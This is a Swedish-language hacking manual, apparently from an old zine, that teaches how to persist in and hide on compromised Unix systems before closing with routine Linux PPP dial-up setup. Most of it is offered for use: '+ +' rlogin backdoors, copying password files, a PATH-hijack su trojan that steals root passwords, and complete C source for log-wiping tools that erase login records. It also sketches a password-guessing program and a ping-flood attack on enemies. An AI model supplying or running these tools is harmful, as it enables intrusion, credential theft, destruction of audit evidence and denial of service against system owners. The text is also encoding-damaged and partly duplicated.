Du kan frstss alltid ndra p filer/kataloger om det r du som r garen:

chmod oug+r filnamn ? Detta gr s att bde garen, gruppen och vriga kan
		 lsa filen. (O = Others, U = User, G = Group) +r = (	
	 plus READ).

chmod og-r filnamn ? Detta gr s att bara garen (U = User), kan lsa
filen. (Observera att - och + anges fr att GE & TA)

chmod +x filnamn   ? Gr s att alla kan kra filen (varken O U eller G
                       anges. Det tar UNIX som ett alla!.)

chown user filnamn ? User byts ut mot den anvndare som ska f gande                 
                      rttigheten. Endast garen av filen eller root kan          
                      ndra detta (som vanligt)

chgrp gruppnamn filnamn ? Gr s att filen gs av en annan grupp.
                          (gruppnamn)


ndra inte instllningarna eller rttigheterna innan du vet vem som ger filen och vad det r
fr fil mm.. Det kan f garen/gruppen eller sysadmin att bli fundersam, han/hon sprar dig
och stter dit dig helt enkelt. Ta det lugnt!

rlogin.

Det finns ett annat kommando n Telnet fr att logga in p ett konto ocks. Det r rlogin.
Ls man sidorna om rlogin frst av allt!
Standard kommandot r vl:

rlogin l anvndarnamn lsenord
connecting....
password:

bash$

P servern finns det en .rlogin fil i anvndarens hemkatalog som talar om fr servern
vilket system som den kan ta emot rlogin frn. Den filen kan se ut shr:

username hostname (or) hostname

Om du skulle lgga till en rad med + + i den hr filen, det skulle lta vem som helst,
frn vilket system som helst, utan lsenord, att logga in i systemet!
Om det redan finns ett anvndarnamn i rlogin filen s kan du lgga till raden:
+ +
under loginname-raden. Men d skulle nog anvndare snart upptcka att man kunde
logga in utan lsenord..

Ett annat stt att logga in p r med kommandot FTP:
ftp ftp.hostname.com 
Mer om FTP senare.

GCC Compiler

Du kommer flera gnger, skerligen, behva kompilera en .c fil till krbart format.
Det smartaste r ju att kopiera C-koden du vill kompilera, logga in i ditt hackade system,
pasta in koden i en ny .c fil, spara den och kompilera den. (Fr er som inte vet, s r en .c fil, 
en sdan fil som man sparar C-kod i. Allts, C/C++ programmering Sedan kompilerar man
koden, man verstter den till maskinkod som datorn kan frst. Man gr den till en krbar-
-fil). S.. Du pastar in koden och kompilerar.. (pasta = klistra in). Detta fr att undvika 
ondiga loggar. 

Fr att kopiera och klistra in s tar du helt enkelt och kopierar koden frn din andra session,
ppnar en textredigerare p din hackade dator och klistrar in koden dr. Sedan sparar du filen
som t.ex. i vrat exempel: $HOME/kodfil.c

Samma sak gller om du ska ladda hem password filen via FTP, spara den d frst i din
egen hemkatalog med ett annat namn: 
bash:/etc:> cp passwd $HOME/plog 

(Om jag inte redan har sagt det s r jag dum, du hittar lsenordsfilen och gruppfilen fr
UNIX i: /etc. Oftast ser adressen ut shr (i en weblsare):

ftp://ftp.blablabla.com/etc/passwd
ftp://ftp.blablabla.com/etc/group

eller

ftp://blablabla.com/etc/passwd
ftp://blablabla.com/etc/group

S.. Nu vet du det.
Ett annat bra stt att skicka en fil lite osynligt p r genom att skapa en DCC session
med en kompis/med en annan dator.. (man snder filen ver IRC), fr att gra det
anvnder man kommandot: 

/dcc send <nick> <filnamn>

mottagaren tar emot genom att anvnda kommandot:

/dcc get <nick> <filnamn>

Det vore ganska bra att ha en IRCbot p ett shell som tog emot alla filer den fick frn ett
speciellt nickname va?

GCC kompilatorn r iaf enkel!:

gcc filnamn.c o nytt_filnamn

S! Om jag nu ville kompilera en fil vid namn rune.c som lg i den aktuella katalogen,
och jag ville att den skulle heta mittprogram nr den var klar, skulle jag skriva:

gcc rune.c o mittprogram

Enkelt va? Om jag bara skrev /gcc rune.c skulle jag f en fil vid namn a.out , och jag skulle
vara tvungen att dpa om den till mittprogram fr att kunna anvnda den. Kommandot r
d:



mv a.out mittprogram

Om du skaffar dig en kllkod med ett namn som zap eller sniffer, s borde du
naturligtvis dpa om dessa till ngot som inte en anti-dliga-program-scanner skulle
kunna knna igen namnet p.. Som inte en admin skulle knna igen namnet p,
t.ex. dpa om sniffer till execzip eller vad som helst!

Det kommer ocks vara de gnger du vill kra ett program i bakgrunden ven
nr du har loggat ut frn kontot. Fr att gra detta s lgger du bara till ett & framfr
programnamnet. Om du tillexempel skulle kra vrat program mittprogram s skulle
du skriva:

&mittprogram

Fr att inte ngon ska undra vad det r freslr jag att du dper programmet till ngot
som mera liknar de andra programmen som krs i bakgrunden.
Fr att hr, likt med Ctrl-Alt-Delete kommandot i Windows, se vilka program som krs,
kan du anvnda ps kommandot. Ps str helt enkelt fr process och visar vilka processer
som fr tillfllet krs. Anvnd ocks vxlarna auxe och titta p resultatet i programmet
more fr att inte missa ngot:

ps -auxe |more

a = alla
u = users
x = du sjlv
e = env

P vissa maskiner mste man skriva pstree fr att f se listan.
Sedan fr du se listan, dp programmet till ngot som liknar ngot av det du fr se i listan!
Sedan s kr du programmet.. med ett & framfr.
Kolla sedan ps auxe |more  igen, fr att se om din process(ditt program) krs.

___________________________________________________________________________

Om du har ftt access till en admins konto, s kanske du vill kolla hans history-filer fr att
se om han ofta anvnder su-kommandot fr att komma t root. Om han gr det s kan du 
anvnda en trojan eller keylogger fr att f tag p lsenordet till root. Det funkar s hr:
Du ndrar i adminens shellscript s att en ny, dold katalog (.term eller nt snt r bra), lggs
till fre alla andra katalogen i sk pathn. Allts, innan alla de andra katalogerna som unix
ska ska igenom efter det kommando som personen ifrga anvnder.. Frsk frst bara! ;-).
Du lgger till en krbar su-fil i .term katalogen (eller vilken katalog du nu valde).
Sedan nr administratren (admin) kommer in, skriver su kommandot, och allt ser bra ut,
skriver vidare in lsenordet och d kopieras lsenords id:t till en logfil i: /tmp/.elm69
sedan raderas trojan-su-filen och ger honom ett fel lsenord meddelande och lter honom
frska igen. Denna gngen gr allt bra eftersom att vr lilla trojan har raderats och Unix
kr den kta su filen istllet.



1. ndra pathen i en av de anvndarkonton som du har access till som du ser anvnder SU
genom att titta i historie filerna. ndra pathen s att katalogen som du har lagt din SU trojan i
kommer frst i listan.

2. Var sker p att du redigerar toppen av SU.c filen till den path (skvg!) du kommer att
anvnda, s att sutrojanen raderar sig sjlv och lter den riktiga SU filen arbeta fr nsta 
frsk.

3. Lgg alla filerna i adminens katalog och kompilera su.c filen!

gcc su.c o su

 Radera till sist alla filerna utom su filen, och allt r klart!


.bash_profile filen ser kanske ut shr:

# .bash_profile

# Get the aliases and functions
if [ -f ~/.bashrc ]; then
        . ~/.bashrc
                fi

# User specific environment and startup programs

PATH=$PATH:$HOME/bin
ENV=$HOME/.bashrc
USERNAME=""

export USERNAME ENV PATH

D ska du helt enkelt nu ta och ndra den frsta raden till: 
PATH=$HOME/.term:$PATH:$HOME/bin

Nu kopierar trojanen lsenordet till root (eller om det var ett annat konto, (det talar logfilen
om)), till en logfil i /temp. Sedan raderar den sig sjlv och terstller allt s att det blir frid
och frjd igen. Allt detta d efter att admin har skrivit sitt su kommando..
Gr nu inte detta sjlv! D mste du gra om allt igen.

Historie filerna finns i anvndarnas hemkataloger (HOME). De kan innehlla s mycket som
de 100 senaste kommandona / raderna skrivna av kontogaren. Leta hr speciellt efter filerna
.bash_history eller History. Ls dem med hjlp av more. (more .bash_history).

Ok ok ok.. Gmma dina spr lite..
Hr r en .c fil som du kan anvnda till att rensa dina spr efter det att du loggat in i systemet:
(kopiera in i en texteditor i ditt hackade system, spara som .c fil och kompilera med gcc.):






#include <stdio.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdarg.h>

/* First, define the POP-3 port - almost always 110 */
#define POP3_PORT               110

/* What we want our program to be masked as, so nosy sys admin's don't kill us */
#define MASKAS                  "vi"

/* Repeat connect or not - remember, logs still report a connection, so
you might want to set this to 0. If set to 0, it will hack until it finds
1 user/password then exit. If set to 1, it will reconnect and try more
user/passwords (until it runs out of usernames) */
#define RECONNECT       0


Mer om att gra dig sjlv osynlig:

Det hela gr ut p att du ska frska ha kvar din access s lnge som mjligt, lr dig systemet,
lr dig genom att utforska det, kolla p hur olika exploits fungerar, det r detta som r
meningen!! Om du frstr eller visar dig fr admins s r det krt, du blir utkickad och
anmld. S nu ska jag bertta mer om hur du hller dig osynlig.

Det finns ett antal loggfilsrensnings program dr ute, det troligen bsta r Zap2.
Jag laddade hem zap2 och kompilerade det till namnet z2.

Zap ska kras s fort man loggat in som root p systemet. Du kanske frst vill kolla med 
finger @host.xxx fr att se vilka som r inloggade. Kolla IDLE tiden fr root och admin
fr att se om de inte r aktiva. S fort du har loggat in p systemet med ett annat konto,
kolla vilka som r p och deras idle tid med kommandot: w. Logga sedan snabbt in som
root och kr lika hastigt zap programmet. (I mitt fall skriver jag d):
./z2 mitt-login-namn 
Kolla nu med w eller who , att du inte syns i listan!

Du kommer vara tvungen att kolla vart alla filer i systemet finns och redigera z2.c filen s
att den innehller den rtta lokaliseringen av dessa filer.
Hr r arean som du kollar efter alldeles i brjan av filen:

#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

De flesta systemen man loggar in p r:

#define WTMP_NAME "/var/adm/wtmp"
#define UTMP_NAME "/var/adm/utmp"
#define LASTLOG_NAME "/var/adm/lastlog"

Kolla runt sjlv. /var/log: r ocks en vanlig placering.
Lgg till lokaliseringarna fr varje system i filen och kompilera..
Hr r zap2.c filen:

z2.c
--------------------------- klipp hr
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
 
int f;
 
void kill_utmp(who)
char *who;
{
    struct utmp utmp_ent;
 
  if ((f=open(UTMP_NAME,O_RDWR))>=0) {
     while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
       if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
                 bzero((char *)&utmp_ent,sizeof( utmp_ent ));
                 lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
                 write (f, &utmp_ent, sizeof (utmp_ent));
            }
     close(f);
  }
}
 
void kill_wtmp(who)
char *who;
{
    struct utmp utmp_ent;
    long pos;
 
    pos = 1L;
    if ((f=open(WTMP_NAME,O_RDWR))>=0) {
 
     while(pos != -1L) {
        lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
        if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
          pos = -1L;
        } else {
          if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
               bzero((char *)&utmp_ent,sizeof(struct utmp ));
               lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
               write (f, &utmp_ent, sizeof (utmp_ent));
               pos = -1L;
          } else pos += 1L;
        }
     }
     close(f);
  }
}
 
void kill_lastlog(who)
char *who;
{
    struct passwd *pwd;
    struct lastlog newll;
 
     if ((pwd=getpwnam(who))!=NULL) {
 
        if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
            lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
            bzero((char *)&newll,sizeof( newll ));
            write(f, (char *)&newll, sizeof( newll ));
            close(f);
        }
 
    } else printf("%s: ?\n",who);
}
 
main(argc,argv)
int argc;
char *argv[];
{
    if (argc==2) {
        kill_lastlog(argv[1]);
        kill_wtmp(argv[1]);
        kill_utmp(argv[1]);
        printf("Zap2!\n");
    } else
    printf("Error.\n");
}
--------------------------- klipp hr


Andra scripts

Lt oss nu sga att du har loggat in och krt din zap fil.
Du mste nu FTP:a in fr att grab:a en fil.
(Kom ihg att aldrig FTP:a eller Telnet:a ut frn kontot!)
Ok, du FTP:ar in och grab:ar ett par filer, eller loggar in p ett annat konto p systemet.
Nu blir du tvungen att anvnda wted. wted lter dig redigera wtmp:en fr att ta bort ditt
login frn FTP:n. Du kanske ocks behver anvnda dig av lld (lastlog edit).
Hr r menyn om du skriver ./wted, efter att ha satt log skvg och kompilerat:


[8:25pm][/home/compile]wted
Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST
            -h      This help
            -f      Use FILE instead of default
            -a      Show all entries found
            -u      Show all entries for USER
            -b      Show NULL entries
            -e      Erase USER completely
            -c      Erase all connections containing HOST
            -z      Show ZAP'd entries
            -x      Attempt to remove ZAP'd entries completely


S om jag FTP:ar till anvndarnamnet smith skulle jag skriva wted x e .
Programmet kommer nu att prompta dig ett login i taget fr anvndaren smith,
och frga om du verkligen vill ta bort det.
Efter att du tagit bort ditt login, var d sker p att du gr 
chmod 664 wtmp.tmp och sedan kopierar den till katalogen ett steg upp i logg systemet:


1. chmod 644 wtmp.tmp
2. cp wtmp.tmp /var/adm/wtmp

Ok, hr r nu wted programmet:

OBS:  FRSKRA DIG OM ATT DU HAR RTT SKVG TILL char filen under,
S att du fr rtt skvg till wtmp filen!

wted.c
---------------------- klipp hr!


#include <stdio.h>
#include <utmp.h>
#include <time.h>
#include <fcntl.h>

char *file="/var/adm/wtmp";

main(argc,argv)
int argc;
char *argv[];
{
int i;
if (argc==1) usage();
for(i=1;i<argc;i++)
	{
	if(argv[i][0] == '-')
		{
		switch(argv[i][1])
			{
			case 'b': printents(""); break;
			case 'z': printents("Z4p"); break;
			case 'e': erase(argv[i+1],0); break;
			case 'c': erase(0,argv[i+1]); break;
			case 'f': file=argv[i+1]; break;
			case 'u': printents(argv[i+1]); break;
			case 'a': printents("*"); break;
			case 'x': remnull(argv[i+1]); break;
			default:usage();
			}
		}
	}
}

printents(name)
char *name;
{
struct utmp utmp,*ptr;
int fp=-1;
ptr=&utmp;
if (fp=open(file,O_RDONLY))
	{
	while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp))
		{
		if ( !(strcmp(name,ptr->ut_name)) || (name=="*") ||
		(!(strcmp("Z4p",name)) && (ptr->ut_time==0)))
			printinfo(ptr);
		}
	close(fp);
	}
}

printinfo(ptr)
struct utmp *ptr;
{
char tmpstr[256];
printf("%s\t",ptr->ut_name);
printf("%s\t",ptr->ut_line);
strcpy(tmpstr,ctime(&(ptr->ut_time)));
tmpstr[strlen(tmpstr)-1]='\0';
printf("%s\t",tmpstr);
printf("%s\n",ptr->ut_host);
}

erase(name,host)
char *name,*host;
{
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct utmp utmp;
unsigned char c;
if (fp=open(file,O_RDONLY)) {
        fd=open("wtmp.tmp",O_WRONLY|O_CREAT);
        while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) {
		if (host)
			if (strstr(utmp.ut_host,host)) tot++;
			else {cnt++;write(fd,&utmp,sizeof(struct utmp));}
		if (name) {
                if (strcmp(utmp.ut_name,name)) {cnt++;
			write(fd,&utmp,sizeof(struct utmp));}
		else { 
			if (n>0) {
				n--;cnt++;
				write(fd,&utmp,sizeof(struct utmp));}
			else
			{
			printinfo(&utmp);
			printf("Erase entry (y/n/f(astforward))? ");
			c='a';
			while (c!='y'&&c!='n'&&c!='f') c=getc(stdin);
			if (c=='f') {
				cnt++;
				write(fd,&utmp,sizeof(struct utmp));
				printf("Fast forward how many entries? ");
				scanf("%d",&n);}
			if (c=='n') {
				cnt++;
				write(fd,&utmp,sizeof(struct utmp));
				}
			if (c=='y') tot++;
			} 
		      }	}			
		
        }
        close(fp);
        close(fd);
        }
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
printf("Now chmod wtmp.tmp and copy over the original %s\n",file);
}

remnull(name)
char *name;
{
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct utmp utmp;
if (fp=open(file,O_RDONLY)) {
        fd=open("wtmp.tmp",O_WRONLY|O_CREAT);
        while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) {
		if (utmp.ut_time) {
			cnt++;
			write(fd,&utmp,sizeof(struct utmp));
		}
		else
			tot++;
	}
        close(fp);
        close(fd);
        }
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
printf("Now chmod wtmp.tmp and copy over the original %s\n",file);
}

usage()
{
printf("Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST\n");
printf("\t-h\tThis help\n");
printf("\t-f\tUse FILE instead of default\n");
printf("\t-a\tShow all entries found\n");
printf("\t-u\tShow all entries for USER\n");
printf("\t-b\tShow NULL entries\n"); 
printf("\t-e\tErase USER completely\n");
printf("\t-c\tErase all connections containing HOST\n");
printf("\t-z\tShow ZAP'd entries\n");
printf("\t-x\tAttempt to remove ZAP'd entries completely\n");
}



---------------------- klipp hr


Du kanske ocks mste rensa upp i filen /vat/adm/lastlog
Fr att gra detta anvnder du programmet lled.c. Kompilera programmet och
dp om det till lled.
Hr r menyn av kommandon fr programmet nr du skriver in kommandot ./lled :

[4:04am][/home/paris/compile]lled
Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST
-h      This help
-f      Use FILE instead of default
-a      Show all entries found
-u      Show all entries for USER
-b      Show NULL entries
-e      Erase USER completely
-c      Erase all connections containing HOST
-z      Show ZAP'd entries
-x      Attempt to remove ZAP'd entries completely

Det vore bra att kolla genom att frst anvnda u , men mnga gnger kommer det inte att
visa ditt host. Men om du vet vad du letar efter kan du skriva (om du kommer frn
macine.host.com):

lled e username c machine.host

Om du mste kolla lastlog s borde naturligtvis ditt hostname finnas lngst ned.
Skriv bara: lled a

chmod:a filen lastlog.tmp 664 och kopiera den till katalogen ett steg uppt.

FRSKRA DIG OM ATT DU FIXAR SKVGEN TILL DIN LASTLOG NEDAN:
Ok; hr r lastlog programmet:

-------------------------- klipp hr
#include <stdio.h>
#include <time.h>
#include <lastlog.h>
#include <fcntl.h>

char *file="/var/adm/lastlog";

main(argc,argv)
int argc;
char *argv[];
{
int i;
if (argc==1) usage();
for(i=1;i<argc;i++)
	{
	if(argv[i][0] == '-')
		{
		switch(argv[i][1])
			{
			case 'b': printents(""); break;
			case 'z': printents("Z4p"); break;
			case 'e': erase(argv[i+1]); break;
                        case 'c': erase(0,argv[i+1]); break;
			case 'f': file=argv[i+1]; break;
			case 'u': printents(argv[i+1]); break;
			case 'a': printents("*"); break;
			case 'x': remnull(argv[i+1]); break;
			default:usage();
			}
		}
	}
}

printents(name)
char *name;
{
struct lastlog utmp,*ptr;
int fp=-1;
ptr=&utmp;
if (fp=open(file,O_RDONLY))
	{
	while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog))
		{
		if ( !(strcmp(name,ptr->ll_line)) || (name=="*") ||
		(!(strcmp("Z4p",name)) && (ptr->ll_time==0)))
			printinfo(ptr);
		}
	close(fp);
	}
}

printinfo(ptr)
struct lastlog *ptr;
{
char tmpstr[256];
printf("%s\t",ptr->ll_line);
strcpy(tmpstr,ctime(&(ptr->ll_time)));
tmpstr[strlen(tmpstr)-1]='\0';
printf("%s\t",tmpstr);
printf("%s\n",ptr->ll_host);
}

erase(name,host)
char *name,*host;
{
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct lastlog utmp;
unsigned char c;
if (fp=open(file,O_RDONLY)) {
        fd=open("lastlog.tmp",O_WRONLY|O_CREAT);
        while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) {
                if (host)
                        if (strstr(utmp.ll_host,host)) tot++;
                        else {cnt++;write(fd,&utmp,sizeof(struct lastlog));}
                if (name) {
		if (strcmp(utmp.ll_line,name)) {cnt++;
			write(fd,&utmp,sizeof(struct lastlog));}
		else { 
			if (n>0) {
				n--;cnt++;
				write(fd,&utmp,sizeof(struct lastlog));}
			else
			{
			printinfo(&utmp);
			printf("Erase entry (y/n/f(astforward))? ");
			c='a';
			while (c!='y'&&c!='n'&&c!='f') c=getc(stdin);
			if (c=='f') {
				cnt++;
				write(fd,&utmp,sizeof(struct lastlog));
				printf("Fast forward how many entries? ");
				scanf("%d",&n);}
			if (c=='n') {
				cnt++;
				write(fd,&utmp,sizeof(struct lastlog));
				}
			if (c=='y') tot++;
			} 
		      }	}			
		
        }
        close(fp);
        close(fd);
        }
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
printf("Now chmod lastlog.tmp and copy over the original %s\n",file);
}

remnull(name)
char *name;
{
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct lastlog utmp;
if (fp=open(file,O_RDONLY)) {
        fd=open("lastlog.tmp",O_WRONLY|O_CREAT);
        while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) {
		if (utmp.ll_time) {
			cnt++;
			write(fd,&utmp,sizeof(struct lastlog));
		}
		else
			tot++;
	}
        close(fp);
        close(fd);
        }
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
printf("Now chmod lastlog.tmp and copy over the original %s\n",file);
}

usage()
{
printf("Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST\n");
printf("\t-h\tThis help\n");
printf("\t-f\tUse FILE instead of default\n");
printf("\t-a\tShow all entries found\n");
printf("\t-u\tShow all entries for USER\n");
printf("\t-b\tShow NULL entries\n"); 
printf("\t-e\tErase USER completely\n");
printf("\t-c\tErase all connections containing HOST\n");
printf("\t-z\tShow ZAP'd entries\n");
printf("\t-x\tAttempt to remove ZAP'd entries completely\n");
}
---------------------------------------------------------------- klipp hr




Kapitel 5: Smurf Attacks

Har du ngonsin hrt talas om de s kallade Smurf Attackerna som folk anvnder fr att f bort 
sina ovnner frn ntet??  Jag vet att det knns lite lamt att ta upp det s hr i tredje boken av HM,
men det har liksom inte kommit med tidigare. Och detta kan i mnga fall vara mer effektivt n nukes!

- S. Vad r detta??

Nr du skickar en ping till ngon s kommer ju alltid de paket du skickar tillbaka, s att du ser hur lng
tid det tog fr frbindelsen att skicka och ta emot paketen S, vad jag fr fram genom detta r att 
paketen tar upp bandbredd fr bde din och den du pingar s anslutning! Vilket gr att ni bda hamnar
efter (laggar) och det gr mycket lngsammare att surfa mm..
Men om inte paketen skulle komma tillbaka s kunde du skicka paket mycket snabbare!
D skulle ju ocks mottagarens anslutning bli NNU smre, kanske till och med kopplas ned!!

S vad vi behver r Hmm,, ja, ngonting som hindrar paketen att n fram till vr egen dator.
Detta grs enkelt genom att anvnda en firewall! Ett firewall program kan du ladda hem lite hr
och dr p Internet. [ Det svenska ordet fr firewall r Brandvgg. ].
En Firewall filtrerar allts inkommande information frn ntet. Det kan vara nukar, pings, ICMP
grejor och annat. T.o.m. om ngon frsker ansluta till din dator med Back Orifice, Evil FTP eller
NetBus etc.. S varnar programmet och lter dig vlja mellan att ignorera, acceptera eller blockera
anslutningen. Pongen r att inga paket kan tervnda till din dator och att du p s stt kan pinga
din ovn mycket snabbare. Ladda ocks ner en pinger som tillter kloner!
Du kan d pinga ngon med 65000 bytes gnger 10 !!! (10 kloner) vilket blir FETT_MYCKET! ;-).
En bra sdan pinger r Fortune 2k ( Final Fortune ).

 

Kapitel 6: Mera UNIX

Nu har du skert suttit med Redhat Linux och pjkat med X-Windows och en massa krafs,
Du har kanske hittat fnsterhanterare och skal mm.. S jag tror att du vill f igng Internet nu.
ven om du inte har ett lika fint skal som Windows var fr DOS, s kommer du nu f hjlp
med att koppla upp dig direkt frn den mrka kod-skrmen.
Ni som har hittat en fin fnsterhanterare har nog redan hittat Internet uppkopplingen.
Flj med hr nu bara!

Ntverk

I detta kapitel ska jag visa hur du konfigurerar ntverksfunktionerna i Linux.
Linux gr att anvnda i mnga olika situationer och jag har hrt talas om ett antal fall
dr Linux nstan varit den enda lsningen att koppla ihop Windows-, Macintosh-, Novell-,
och Unix-baserade ntverk. I vanliga operativsystem skulle du f betala tusan
fr varje extra arkitektur.

Linux kan med hjlp av Samba-sviten vara server och klient till Windows-ntverk med
utdelade resurser och allt vad det kallas. Man kan dela filer och skrivare och det skall ven
funka att anvnda Linux som domnserver som du kan logga in p precis som med NT.
Det finns liknande programsviter till Macintosh och Novell. Linux r ju ungefr Unix s det
mesta i den vgen fungerar ocks.

Ntverkskort

De flesta ntverkskort fungerar bra i Linux, det strsta problemet r frmodligen
de kort som gr under PlugnPlay-stmpeln. Speciellt ISA-korten r problematiska,
PCI r oftast inga strre problem. Du fr titta lite i dina BIOS-instllningar.
Ofta kan du vlja att du inte har ngot PnP-operativsystem och att korten inte skall
nollstllas vid omstart. Har du tur kan du stnga av PnP funktionen p kortet genom
ngot instllningsprogram p den medfljande disketten.

Till ISA PnP-kort finns paketet isapnptools, men det r vldigt bkigt, bde att konfigurera
programmen och att f det att fungera i verkligheten. Det r mjligt att det kommer PnP-std
till krnan. Det har diskuterats ett tag om man ver huvudtaget vill ha det, PnP r inte srskiljt
populrt inom Linuxvrlden, i alla fall inte bland halvreligisa veteraner.

Om du ska kpa ntverkskort kan du titta i Ethernet-HOWTO och Hardware-HOWTO;
dr str vilka kort som fungerar och vilka som inte gr det. Det finns mnga billiga modeller
som r NE2000-kompatibla. Om de r dliga blir det problem. Dessa kort br du inte stta i
servrar eftersom de inte alltid hller speciellt bra men hur som helst har Linux bra NE2000-
drivrutiner. Men frsk att se till s du kan aktivera PnP

Konfiguration

Nr du installerade Linux hittade den kanske ditt ntverkskort och du skrev in IP adress,
vrdnamn osv. Fungerar det som det ska s r det perfekt. Du kan titta p och ndra
instllningarna med programmet ifconfig, men du mste vara root nr du vill ndra.
Hr finner du en massa instllningar som jag tyvrr inte hinner g igenom hr och nu.
Testa man ifconfig, whatis ifconfig och  what is ifconfig fr att f mer info.

Internetabonnemang
                       och Linux

Har du problem att f till din Linux-uppkoppling mot Internet? Ls i s fall vidare, ty hr 
finner du en scriptgenerator som stller
ngra frgor om ditt Internet-konto och utifrn dina svar skapas sedan de script och filer som 
behvs fr uppkopplingen. 

Programmet r testat mot Algonet, Tele2, Telenordia, Telia och Tripnet med gott resultat. Det 
br ven fungera mot Calypso
och IBM. 



Inledning


Mnga nya Linux-anvndare brukar ha problem med att koppla upp sig mot Internet. Detta 
har flera orsaker. Viktigast r nog
att de flesta Internet-leverantrer inte sett det som ngon viktig uppgift att ta fram korrekta 
och lttbegripliga instruktioner fr Linux, men ocks p att det faktiskt kan vara lite krngligt 
att ordna. Detta dokument och tillhrande filer syftar till att reducera problemen till ett 
minimum genom att till stor del automatisera installationen. Fr detta utnyttjas ett program 
(pppinst.sh), som frgar efter Internetleverantr och de uppgifter som behvs fr att ringa upp 
(telefonnumret) och logga in p leverantrens server (anvndarnamn och lsenord). Drefter 
skapas automatiskt de script och hjlpfiler som behvs fr uppkopplingen. 

De Internetleverantrer som installationsprogrammet f n br kunna klara r Algonet, Calypso, 
IBM, Tele2, Telenordia, Telia och Tripnet. 

Installationsprogrammet skapar tv script (ppp-on och ppp-off) som anvnds vid upp- resp 
nedkoppling till Internetleverantren. Programmet gr det mjligt att vlja om man vill att 
alla anvndare skall kunna koppla upp sig mot Internet eller inte - tnk dock p att detta att 
lta alla anvndare att gra uppkopplingen innebr en skerhetslucka som kanske inte spelar 
ngon roll i hemmet, men som absolut inte br frekomma i system med mnga anvndare.

Mnga nya Linux-anvndare brukar ha problem med att koppla upp sig mot Internet. Detta 
har flera orsaker. Viktigast r nog att de flesta Internet-leverantrer inte sett det som ngon 
viktig uppgift att ta fram korrekta och lttbegripliga instruktioner fr Linux, men ocks p att 
det faktiskt kan vara lite krngligt att ordna. Detta dokument och tillhrande filer syftar till att 
reducera problemen till ett minimum genom att till stor del automatisera installationen. Fr 
detta utnyttjas ett program (pppinst.sh), som frgar efter Internetleverantr och de uppgifter 
som behvs fr att ringa upp (telefonnumret) och logga in p leverantrens server 
(anvndarnamn och lsenord). Drefter skapas automatiskt de script och hjlpfiler som 
behvs fr uppkopplingen. De Internetleverantrer som installationsprogrammet f n br 
kunna klara r Algonet, Calypso, IBM, Tele2, Telenordia, Telia
och Tripnet. 

Installationsprogrammet skapar tv script (ppp-on och ppp-off) som anvnds vid upp- resp 
nedkoppling till Internetleverantren. Programmet gr det mjligt att vlja om man vill att 
alla anvndare skall kunna koppla upp sig mot Internet eller inte - tnk dock p att detta att 
lta alla anvndare att gra uppkopplingen innebr en skerhetslucka som kanske inte spelar 
ngon roll i hemmet, men som absolut inte br frekomma i system med mnga anvndare. 







Frberedelser

Samla ihop de uppgifter du ftt av Internetleverantren: telefonnummer, ditt 
anvndarnamn (loginnamn) och lsenord, samt IP-adresserna till de namnservrar som
tillhandahlls. Tag reda p vilken serieport som ditt modem r anslutet till.
Hmta hem shellarkivet ppp.shar som innehller alla ndvndiga filer. Ladda hem ppp.shar 
    
 Skapa en katalog dit du kopierar shellarkivet ppp.shar och placera dig i katalogen. Om 
arkivet redan r i en lmplig katalog kan du strunta i kopieringen, men katalogen br helst 
vara tom, bl a drfr att det i annat fall kan hnda att vissa filer inte packas upp frn arkivet, 
ty detta r konstruerat s att inga redan existerande filer skrivs ver.  Packa upp shellarkivet 
med kommandot sh ppp.shar 

Installation

Installationen krver att man r inloggad som root: Logga in som root om du inte redan r det! 

Du skall av din leverantr ha ftt IP-adresser till namnservrar (adresserna har formen 
xxx.xxx.xxx.xxx, dr xxx r ett tal 0-255). 
Dessa skall fogas till filen /etc/resolv.conf. Detta kan du gra s hr: 
               Flytta till katalogen /etc (med kommandot cd /etc) 
               Starta en editor fr att redigera filen resolv.conf. (t ex pico resolv.conf) 
               Skriv in IP-adresserna fr namnservrarna (1 per rad och stava rtt!), t ex nameserver
               130.237.225.199 

     Kr programmet pppinst.sh genom att skriva 

          ./pppinst.sh 

     och svara p frgorna (om inte redan modemet r installerat mste du veta vilken serieport 
det r anslutet till, dessutom mste du veta namnet p din leverantr, telefonnumret till 
leverantrens server, ditt loginnamn och ditt lsenord). Resten hanterar programmet. 

Nr programmet avslutats br allt vara klart fr uppkoppling. 

Testa uppkopplingen

Se till att modemet r pslaget och att modemkabeln sitter rtt. Logga s in som root och ge 
kommandot 

     /usr/sbin/ppp-on &

